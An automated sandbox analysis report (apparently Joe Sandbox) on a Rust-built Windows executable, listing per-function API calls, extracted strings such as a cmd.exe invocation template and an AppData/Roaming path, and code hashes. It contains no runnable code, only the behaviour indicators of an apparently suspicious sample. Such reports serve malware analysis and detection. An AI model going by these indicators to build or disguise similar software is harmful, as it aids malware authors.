\cmd.exemaximum number of ProcThreadAttributes exceeded, xrefs: 00007FF69971CCC1, 00007FF69971CD0B

Memory Dump Source

Source File: 00000000.00000002.1750111642.00007FF6996C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6996C0000, based on PE: true

Associated: 00000000.00000002.1750087232.00007FF6996C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750265903.00007FF69977B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750320696.00007FF69977C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750435239.00007FF69989B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750463184.00007FF69989C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750489646.00007FF69989F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6996c0000_81zBpBAWwc.jbxd

Similarity

API ID: CloseHandle$EnvironmentErrorFreeLastStringsmemcpy
String ID: program path has no file name$#$*+-./:?@\_cmd.exe /e:ON /v:OFF /d /c "$.exeprogram not found$0123456789ABCDEFxxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxxUnexpected format character$ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789Time went backwards$PATHlibrary\std\src\sys_common\process.rs$\?\\$\cmd.exemaximum number of ProcThreadAttributes exceeded$]?\\$assertion failed: is_code_point_boundary(self, new_len)$assertion failed: self.height > 0$exe\\.\NULexit code:
API String ID: 3975177916-99999070
Opcode ID: 27f4a6b0d6bda9cb54450576a490f162ebdf8d97c201b0c72e428d2778396571
Instruction ID: 466d10f9f98b10702975adbaf3d8d904750903ed3b09d2db49dc1a7f746b3b13
Opcode Fuzzy Hash: 27f4a6b0d6bda9cb54450576a490f162ebdf8d97c201b0c72e428d2778396571
Instruction Fuzzy Hash: D773A062A18AD18AEB708F25D8613F923A1FB45BC8F445176DE0D9FB89DF39A641C700

Function 00007FF6996C2FE9 Relevance: 13.0, APIs: 3, Strings: 4, Instructions: 741
synchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF69974AED0: memcpy.MSVCRT ref: 00007FF69974AF34

CreateMutexA.KERNEL32 ref: 00007FF6996C30C8
GetLastError.KERNEL32 ref: 00007FF6996C30CD

Strings

ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789Time went backwards, xrefs: 00007FF6996C3174
0123456789ABCDEFxxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxxUnexpected format character, xrefs: 00007FF6996C37C6
AppData/Roaming/.ini, xrefs: 00007FF6996C31FB
assertion failed: filled <= self.buf.init/rustc/eeb90cda1969383f56a2637cbd3037bdf598841c\library\core\src\io\borrowed_buf.rs, xrefs: 00007FF6996C3D46

Memory Dump Source

Source File: 00000000.00000002.1750111642.00007FF6996C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6996C0000, based on PE: true

Associated: 00000000.00000002.1750087232.00007FF6996C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750265903.00007FF69977B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750320696.00007FF69977C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750435239.00007FF69989B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750463184.00007FF69989C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750489646.00007FF69989F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6996c0000_81zBpBAWwc.jbxd

Similarity

API ID: CreateErrorLastMutexmemcpy
String ID: 0123456789ABCDEFxxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxxUnexpected format character$ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789Time went backwards$AppData/Roaming/.ini$assertion failed: filled <= self.buf.init/rustc/eeb90cda1969383f56a2637cbd3037bdf598841c\library\core\src\io\borrowed_buf.rs
API String ID: 2779520464-1460878906
Opcode ID: 63a98975d89a9dc67988b5756ed7a79aa7959603918e2b9376bb64181ca15bd6
Instruction ID: b0970a27c2c3a8916f09ff3406e8e7ccf4221befc55afbb13af48501c1c53e81
Opcode Fuzzy Hash: 63a98975d89a9dc67988b5756ed7a79aa7959603918e2b9376bb64181ca15bd6
Instruction Fuzzy Hash: 66729E72A09A8291FE309F11E4517EE6360FB88780F804176EB9D97B99EF3CE185D700

Function 00007FF6996C1180 Relevance: 10.6, APIs: 7, Instructions: 137
sleepstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(?,?,?,00007FF6996C13E6), ref: 00007FF6996C11BE
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF6996C122B
malloc.MSVCRT ref: 00007FF6996C125F
strlen.MSVCRT ref: 00007FF6996C1284
malloc.MSVCRT ref: 00007FF6996C1290
memcpy.MSVCRT ref: 00007FF6996C12A8

Memory Dump Source

Source File: 00000000.00000002.1750111642.00007FF6996C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6996C0000, based on PE: true

Associated: 00000000.00000002.1750087232.00007FF6996C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750265903.00007FF69977B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750320696.00007FF69977C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750435239.00007FF69989B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750463184.00007FF69989C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750489646.00007FF69989F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6996c0000_81zBpBAWwc.jbxd

Similarity

API ID: malloc$ExceptionFilterSleepUnhandledmemcpystrlen
String ID:
API String ID: 3806033187-0
Opcode ID: 185179c1d74cf54bdcd9faed2df6e4b5ea4683eb18480226f85787322097f7df
Instruction ID: c5a71be089438e176d4da28cdc30edc6a872d43e3590242f17807fc599acdd57
Opcode Fuzzy Hash: 185179c1d74cf54bdcd9faed2df6e4b5ea4683eb18480226f85787322097f7df
Instruction Fuzzy Hash: 05513836A1964286FB319F26E95027923A1FF44BD4F0548B9DE2DC7795EE2CF880D310

Function 00007FF6997194D0 Relevance: 8.0, APIs: 5, Instructions: 464
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcessId.KERNEL32 ref: 00007FF699719520
ProcessPrng.BCRYPTPRIMITIVES ref: 00007FF69971954C

Memory Dump Source

Source File: 00000000.00000002.1750111642.00007FF6996C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6996C0000, based on PE: true

Associated: 00000000.00000002.1750087232.00007FF6996C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750265903.00007FF69977B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750320696.00007FF69977C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750435239.00007FF69989B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750463184.00007FF69989C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750489646.00007FF69989F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6996c0000_81zBpBAWwc.jbxd

Similarity

API ID: Process$CurrentPrng
String ID:
API String ID: 716580790-0
Opcode ID: 7d9cc088720c2b5a267d4c65754674e636c2e92e971dd37ae2eb774e57e4a5a3
Instruction ID: bc402b5a281734165ae955e49d7d9876aa08efc8b6e6965eb10aef36a7b86999
Opcode Fuzzy Hash: 7d9cc088720c2b5a267d4c65754674e636c2e92e971dd37ae2eb774e57e4a5a3
Instruction Fuzzy Hash: 6002DF72A087918AEB748F21A4613B937A0FB457D8F044676EE6E8B7C5EE7CD146C300

Function 00007FF699717000 Relevance: 3.1, APIs: 2, Instructions: 75
filenativesynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtWriteFile.NTDLL ref: 00007FF699717071
WaitForSingleObject.KERNEL32 ref: 00007FF699717085

Memory Dump Source

Source File: 00000000.00000002.1750111642.00007FF6996C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6996C0000, based on PE: true

Associated: 00000000.00000002.1750087232.00007FF6996C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750265903.00007FF69977B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750320696.00007FF69977C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750435239.00007FF69989B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750463184.00007FF69989C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750489646.00007FF69989F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6996c0000_81zBpBAWwc.jbxd

Similarity

API ID: FileObjectSingleWaitWrite
String ID:
API String ID: 1507886151-0
Opcode ID: f90c94bbde2d15f5dd49e45bc93b021f94ca7a944ecab33971cf0177bd17e77b
Instruction ID: d0e2d133f19a6689d9305eb84e623c90fd157c89caaca0f2e1d32369cdd3f093
Opcode Fuzzy Hash: f90c94bbde2d15f5dd49e45bc93b021f94ca7a944ecab33971cf0177bd17e77b
Instruction Fuzzy Hash: 6231AF22B14B819AFB20CF74E8507E933A4EB95798F948174EA4D87B98EF39D194C340

Function 00007FF69970C410 Relevance: 35.3, APIs: 17, Strings: 3, Instructions: 276
synchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CloseHandle.KERNEL32 ref: 00007FF69970C492
CloseHandle.KERNEL32 ref: 00007FF69970C592
WaitForSingleObject.KERNEL32 ref: 00007FF69970C59F
GetLastError.KERNEL32 ref: 00007FF69970C5A8
CloseHandle.KERNEL32 ref: 00007FF69970C633
CloseHandle.KERNEL32 ref: 00007FF69970C63C
CloseHandle.KERNEL32 ref: 00007FF69970C748
CloseHandle.KERNEL32 ref: 00007FF69970C7A4
CloseHandle.KERNEL32 ref: 00007FF69970C7AD

Strings

ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789Time went backwards, xrefs: 00007FF69970C415, 00007FF69970C7C5
0123456789ABCDEFxxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxxUnexpected format character, xrefs: 00007FF69970C411
called `Result::unwrap()` on an `Err` value, xrefs: 00007FF69970C521, 00007FF69970C6AB, 00007FF69970C6DF

Memory Dump Source

Source File: 00000000.00000002.1750111642.00007FF6996C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6996C0000, based on PE: true

Associated: 00000000.00000002.1750087232.00007FF6996C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750265903.00007FF69977B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750320696.00007FF69977C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750435239.00007FF69989B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750463184.00007FF69989C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750489646.00007FF69989F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6996c0000_81zBpBAWwc.jbxd

Similarity

API ID: CloseHandle$ErrorLastObjectSingleWait
String ID: 0123456789ABCDEFxxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxxUnexpected format character$ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789Time went backwards$called `Result::unwrap()` on an `Err` value
API String ID: 1454876536-677056220
Opcode ID: 70676137e3e6d45ccbc11c6f306daaa86eb11d731be05b264ede06c0d3c4266b
Instruction ID: e032d07532d4d0cbe74649957c8a9d2e197562f8fc978b31e2858935fe01e126
Opcode Fuzzy Hash: 70676137e3e6d45ccbc11c6f306daaa86eb11d731be05b264ede06c0d3c4266b
Instruction Fuzzy Hash: E7C13D32A04A8289EB30DF75D9413E937A0FB44788F585575EE4D8BB9ADF3AE185C340

Function 00007FF69971A490 Relevance: 9.2, APIs: 6, Instructions: 175
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CloseHandle.KERNEL32 ref: 00007FF69971A4CD
GetOverlappedResult.KERNEL32 ref: 00007FF69971A5A1
GetLastError.KERNEL32 ref: 00007FF69971A708

Memory Dump Source

Source File: 00000000.00000002.1750111642.00007FF6996C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6996C0000, based on PE: true

Associated: 00000000.00000002.1750087232.00007FF6996C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750265903.00007FF69977B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750320696.00007FF69977C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750435239.00007FF69989B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750463184.00007FF69989C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750489646.00007FF69989F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6996c0000_81zBpBAWwc.jbxd

Similarity

API ID: CloseErrorHandleLastOverlappedResult
String ID:
API String ID: 3265865415-0
Opcode ID: 974bcaf89749150f73524150dc6f3ccb19d09a8b1d022fd24aea04af91ce6d5d
Instruction ID: fa66c95a5515a96a3f007a97edc56a9defa26850e8d8f1ec908b6b9611fe6b0c
Opcode Fuzzy Hash: 974bcaf89749150f73524150dc6f3ccb19d09a8b1d022fd24aea04af91ce6d5d
Instruction Fuzzy Hash: ED712922B08B958AFF348F7588513FC26A0EB557D8F080571EE1C9AB8ADF39E5918340

Function 00007FF699713750 Relevance: 7.7, APIs: 5, Instructions: 184
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNEL32 ref: 00007FF6997138CF
GetLastError.KERNEL32 ref: 00007FF6997138E9
SetFileInformationByHandle.KERNEL32 ref: 00007FF69971390F
GetLastError.KERNEL32 ref: 00007FF69971394C
GetLastError.KERNEL32 ref: 00007FF699713996

Memory Dump Source

Source File: 00000000.00000002.1750111642.00007FF6996C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6996C0000, based on PE: true

Associated: 00000000.00000002.1750087232.00007FF6996C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750265903.00007FF69977B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750320696.00007FF69977C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750435239.00007FF69989B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750463184.00007FF69989C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750489646.00007FF69989F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6996c0000_81zBpBAWwc.jbxd

Similarity

API ID: ErrorLast$File$CreateHandleInformation
String ID:
API String ID: 1834474996-0
Opcode ID: f273ef88e2bac6326e9b2940877e3eefe1307dc294658eb469f631bb574f4843
Instruction ID: 31ed35b37b349673c505ffbb58730edb10d18551e01c06201bc3fca05f00a853
Opcode Fuzzy Hash: f273ef88e2bac6326e9b2940877e3eefe1307dc294658eb469f631bb574f4843
Instruction Fuzzy Hash: 7761C2A1E0819247FB318F2185213B92AA0EB46BD8F1441B2DD5D9FBC9DE3DE8468731

Function 00007FF6996FBBF0 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 107
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789Time went backwards, xrefs: 00007FF6996FBBF5

Memory Dump Source

Source File: 00000000.00000002.1750111642.00007FF6996C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6996C0000, based on PE: true

Associated: 00000000.00000002.1750087232.00007FF6996C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750265903.00007FF69977B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750320696.00007FF69977C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750435239.00007FF69989B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750463184.00007FF69989C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750489646.00007FF69989F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6996c0000_81zBpBAWwc.jbxd

Similarity

API ID:
String ID: ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789Time went backwards
API String ID: 0-3387848338
Opcode ID: ee5c1d5ab09d0494fec1969195c37f65f76453e1c0a170b018d8b387e33d525c
Instruction ID: 71e25d0d29bb18e5dcdbbf50d8909e69369cf95312695cadf025f8525923bae9
Opcode Fuzzy Hash: ee5c1d5ab09d0494fec1969195c37f65f76453e1c0a170b018d8b387e33d525c
Instruction Fuzzy Hash: AD310262F0868295FB25DF319A053B92A61EF887DCF5C84B1DE1C8BB85DE7DA181D340

Function 00007FF69971A7A0 Relevance: 3.8, APIs: 3, Instructions: 67
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetLastError.KERNEL32 ref: 00007FF69971A827
CloseHandle.KERNEL32 ref: 00007FF69971A868
CloseHandle.KERNEL32 ref: 00007FF69971A870

Memory Dump Source

Source File: 00000000.00000002.1750111642.00007FF6996C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6996C0000, based on PE: true

Associated: 00000000.00000002.1750087232.00007FF6996C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750265903.00007FF69977B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750320696.00007FF69977C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750435239.00007FF69989B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750463184.00007FF69989C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750489646.00007FF69989F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6996c0000_81zBpBAWwc.jbxd

Similarity

API ID: CloseHandle$ErrorLast
String ID:
API String ID: 1798101686-0
Opcode ID: a3ddd86106da4bf881b97e782787d81133a10f990cbf08c49f9bebbb8d9dd90e
Instruction ID: be6220014987e6435df1a60e733a4479dcf8be46a775f787bb7f8fff53d9805b
Opcode Fuzzy Hash: a3ddd86106da4bf881b97e782787d81133a10f990cbf08c49f9bebbb8d9dd90e
Instruction Fuzzy Hash: 9311AF22B0874142FB69AF22A55137936A0EB897D0F184174DF8C4BB82EF3DA4A2C340

Function 00007FF6996F72A0 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 42
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetThreadDescription.KERNELBASE ref: 00007FF6996F72E7

Strings

main, xrefs: 00007FF6996F72DD

Memory Dump Source

Source File: 00000000.00000002.1750111642.00007FF6996C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6996C0000, based on PE: true

Associated: 00000000.00000002.1750087232.00007FF6996C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750265903.00007FF69977B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750320696.00007FF69977C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750435239.00007FF69989B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750463184.00007FF69989C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750489646.00007FF69989F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6996c0000_81zBpBAWwc.jbxd

Similarity

API ID: DescriptionThread
String ID: main
API String ID: 2285587249-3207122276
Opcode ID: ab7703ec82c3bf8afcebab53cce1798250a40d462dbe90b47f8c00be0dd91670
Instruction ID: e13cec7426a4de584f3658b642437e90ad706e4d00fb596bf5912fad1607b205
Opcode Fuzzy Hash: ab7703ec82c3bf8afcebab53cce1798250a40d462dbe90b47f8c00be0dd91670
Instruction Fuzzy Hash: 5D018B22B04A4198FB20EF61E9052FC3360EB41388F940479DE0C8BA99EF38E44AC340

Function 00007FF6996D86C0 Relevance: 2.5, APIs: 2, Instructions: 19
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF69971AAE0: GetOverlappedResult.KERNEL32(?,?,-8000000000000020,-8000000000000080,00007FF6996D86D4), ref: 00007FF69971AB21

CloseHandle.KERNEL32 ref: 00007FF6996D86D8
CloseHandle.KERNEL32 ref: 00007FF6996D86E1

Memory Dump Source

Source File: 00000000.00000002.1750111642.00007FF6996C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6996C0000, based on PE: true

Associated: 00000000.00000002.1750087232.00007FF6996C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750265903.00007FF69977B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750320696.00007FF69977C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750435239.00007FF69989B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750463184.00007FF69989C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750489646.00007FF69989F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6996c0000_81zBpBAWwc.jbxd

Similarity

API ID: CloseHandle$OverlappedResult
String ID:
API String ID: 953004297-0
Opcode ID: 587d117bb2e4bd6e76d768e4040b3462c371f62b385f616c831b7967524fd2f9
Instruction ID: 4239525c584491302ae068008b1549652a6760e004c8c20e790d91bd48c677bd
Opcode Fuzzy Hash: 587d117bb2e4bd6e76d768e4040b3462c371f62b385f616c831b7967524fd2f9
Instruction Fuzzy Hash: 69E08613B0454183FA30FA12F4515BA7330EB887D0F044071DF4E4BB829D2DE881C700

Function 00007FF6996C3FE8 Relevance: 1.5, APIs: 1, Instructions: 30
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoTaskMemFree.OLE32(00007FF6996C4062), ref: 00007FF6996C4011

Memory Dump Source

Source File: 00000000.00000002.1750111642.00007FF6996C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6996C0000, based on PE: true

Associated: 00000000.00000002.1750087232.00007FF6996C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750265903.00007FF69977B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750320696.00007FF69977C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750435239.00007FF69989B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750463184.00007FF69989C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750489646.00007FF69989F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6996c0000_81zBpBAWwc.jbxd

Similarity

API ID: FreeTask
String ID:
API String ID: 734271698-0
Opcode ID: 5e28ae5984b5a976e60f91431f0f2898fac32a5e4daf1d6606d5b4610ef5faf6
Instruction ID: 2c8111b6d83a3a3e11d6d47872bb64c29119752671a800011dba3c9ec34ed1aa
Opcode Fuzzy Hash: 5e28ae5984b5a976e60f91431f0f2898fac32a5e4daf1d6606d5b4610ef5faf6
Instruction Fuzzy Hash: 2BF03A22A0869641FE34EF16A5513BE3261EB88BC0F449170EF4C8FB86DE2ED1528705

Function 00007FF6996FBCB5 Relevance: 1.3, APIs: 1, Instructions: 37
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CloseHandle.KERNEL32 ref: 00007FF6996FBE10
CloseHandle.KERNEL32 ref: 00007FF6996FBE45

Part of subcall function 00007FF699717000: NtWriteFile.NTDLL ref: 00007FF699717071
Part of subcall function 00007FF699717000: WaitForSingleObject.KERNEL32 ref: 00007FF699717085

Memory Dump Source

Source File: 00000000.00000002.1750111642.00007FF6996C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6996C0000, based on PE: true

Associated: 00000000.00000002.1750087232.00007FF6996C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750265903.00007FF69977B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750320696.00007FF69977C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750435239.00007FF69989B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750463184.00007FF69989C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750489646.00007FF69989F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6996c0000_81zBpBAWwc.jbxd

Similarity

API ID: CloseHandle$FileObjectSingleWaitWrite
String ID:
API String ID: 1197516534-0
Opcode ID: 16e3ca8d15b27be602fb32ef17f29eea0c9f65f5c4a03ae35cda9fca565b324c
Instruction ID: 2c6b701091437b2c915a1ade808ee19f948926f01dca119a3d74c300597b1709
Opcode Fuzzy Hash: 16e3ca8d15b27be602fb32ef17f29eea0c9f65f5c4a03ae35cda9fca565b324c
Instruction Fuzzy Hash: 87F0B462F0D60644FE769B25291127E5555EF85BE8A4C04B2CE2C87B85CE3C9482A340

Function 00007FF6996C1FB8 Relevance: 1.3, APIs: 1, Instructions: 37
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memcpy.MSVCRT ref: 00007FF6996C1FF7

Memory Dump Source

Source File: 00000000.00000002.1750111642.00007FF6996C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6996C0000, based on PE: true

Associated: 00000000.00000002.1750087232.00007FF6996C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750265903.00007FF69977B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750320696.00007FF69977C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750435239.00007FF69989B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750463184.00007FF69989C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750489646.00007FF69989F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6996c0000_81zBpBAWwc.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: 8fc78fedf86278d75c02b6b352e5128d65a7be319c4dde1042275700d1cc7063
Instruction ID: 3979569555a7b90b78c74ebd4c2e0b8735015d8ea86b6ab56e0447ce62a7d029
Opcode Fuzzy Hash: 8fc78fedf86278d75c02b6b352e5128d65a7be319c4dde1042275700d1cc7063
Instruction Fuzzy Hash: D1F0CD2231465082FE109B1B990465A6A60FB81FE0F008031EF1D47F86CE3CD092A600

Function 00007FF69971FC75 Relevance: 1.3, APIs: 1, Instructions: 32
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF6997194D0: GetCurrentProcessId.KERNEL32 ref: 00007FF699719520
Part of subcall function 00007FF6997194D0: ProcessPrng.BCRYPTPRIMITIVES ref: 00007FF69971954C

CloseHandle.KERNEL32 ref: 00007FF69971FDD7

Memory Dump Source

Source File: 00000000.00000002.1750111642.00007FF6996C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6996C0000, based on PE: true

Associated: 00000000.00000002.1750087232.00007FF6996C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750265903.00007FF69977B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750320696.00007FF69977C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750435239.00007FF69989B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750463184.00007FF69989C000.00000008.00000001.01000000.00000003.sdmpDownload File
